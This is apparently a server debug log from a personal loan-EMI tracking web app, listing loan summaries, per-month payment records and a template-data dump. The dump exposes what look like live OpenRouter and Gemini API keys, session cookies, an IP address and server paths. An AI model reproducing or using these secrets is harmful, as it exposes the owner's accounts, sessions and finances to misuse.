    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '9',
    total_remaining_amount: 198279,
    total_paid_amount: 859209,
    percentage_paid: '81.25'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 16008,
    total_paid_amount: 176088,
    percentage_paid: '91.67'
  }
]
2026-06-01T05:57:42.938Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-01T05:57:42.940Z server-connect:app Executing action step identify
2026-06-01T05:57:42.940Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:42.940Z server-connect:output identity: 1
2026-06-01T05:57:42.940Z server-connect:app Executing action step restrict
2026-06-01T05:57:42.940Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:57:42.941Z server-connect:output restrict: undefined
2026-06-01T05:57:42.941Z server-connect:app Executing action step select
2026-06-01T05:57:42.941Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-01T05:57:42.943Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-06-01T05:57:48.689Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-01T05:57:48.689Z server-connect:app Executing action step identify
2026-06-01T05:57:48.689Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:48.690Z server-connect:output identity: 1
2026-06-01T05:57:48.690Z server-connect:app Executing action step restrict
2026-06-01T05:57:48.690Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:57:48.690Z server-connect:output restrict: undefined
2026-06-01T05:57:48.690Z server-connect:app Executing action step select
2026-06-01T05:57:48.690Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-01T05:57:48.692Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-06-01T05:57:59.871Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-01T05:57:59.871Z server-connect:app Executing action step identify
2026-06-01T05:57:59.871Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:59.871Z server-connect:output identity: 1
2026-06-01T05:57:59.871Z server-connect:app Executing action step restrict
2026-06-01T05:57:59.871Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:57:59.872Z server-connect:output restrict: undefined
2026-06-01T05:57:59.872Z server-connect:app Executing action step select
2026-06-01T05:57:59.872Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-01T05:57:59.874Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-06-01T05:59:36.252Z server-connect:router Serving templateView /diecast-worksheet
2026-06-01T05:59:36.252Z server-connect:app Executing action step identify
2026-06-01T05:59:36.252Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:36.252Z server-connect:output identity: 1
2026-06-01T05:59:36.252Z server-connect:app Executing action step restrict
2026-06-01T05:59:36.252Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T05:59:36.253Z server-connect:output restrict: undefined
2026-06-01T05:59:36.253Z server-connect:router Render template diecast-worksheet
2026-06-01T05:59:36.253Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-02T05:57:21.903Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
